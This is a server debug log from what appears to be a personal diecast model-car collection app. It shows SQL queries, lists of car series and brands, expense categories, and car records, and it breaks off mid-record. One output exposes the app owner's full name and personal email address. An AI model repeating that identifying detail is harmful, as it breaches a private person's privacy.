2026-02-12T13:31:08.550Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:08.550Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:08.550Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:31:08.550Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:08.551Z server-connect:app Executing action step identify
2026-02-12T13:31:08.551Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.551Z server-connect:output identity: 1
2026-02-12T13:31:08.551Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.551Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.551Z server-connect:app Executing action step identify
2026-02-12T13:31:08.551Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.552Z server-connect:output identity: 1
2026-02-12T13:31:08.552Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.552Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.552Z server-connect:app Executing action step identify
2026-02-12T13:31:08.552Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.552Z server-connect:output identity: 1
2026-02-12T13:31:08.552Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.552Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.553Z server-connect:app Executing action step identify
2026-02-12T13:31:08.553Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.553Z server-connect:output identity: 1
2026-02-12T13:31:08.553Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.553Z server-connect:app Executing action step identify
2026-02-12T13:31:08.553Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.554Z server-connect:output identity: 1
2026-02-12T13:31:08.554Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.554Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.554Z server-connect:output restrict: undefined
2026-02-12T13:31:08.554Z server-connect:app Executing action step select
2026-02-12T13:31:08.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:31:08.555Z server-connect:app Executing action step identify
2026-02-12T13:31:08.555Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:08.555Z server-connect:output identity: 1
2026-02-12T13:31:08.555Z server-connect:app Executing action step restrict
2026-02-12T13:31:08.555Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:08.555Z server-connect:output restrict: undefined
2026-02-12T13:31:08.556Z server-connect:app Executing action step single
2026-02-12T13:31:08.556Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:31:08.556Z server-connect:output restrict: undefined
2026-02-12T13:31:08.556Z server-connect:app Executing action step select
2026-02-12T13:31:08.556Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:08.557Z server-connect:output restrict: undefined
2026-02-12T13:31:08.557Z server-connect:app Executing action step select
2026-02-12T13:31:08.557Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:08.557Z server-connect:output restrict: undefined
2026-02-12T13:31:08.557Z server-connect:app Executing action step paged
2026-02-12T13:31:08.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:31:08.560Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:31:08.561Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:31:08.562Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:31:08.562Z server-connect:output restrict: undefined
2026-02-12T13:31:08.562Z server-connect:app Executing action step select
2026-02-12T13:31:08.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:08.564Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:31:08.566Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:31:08.570Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
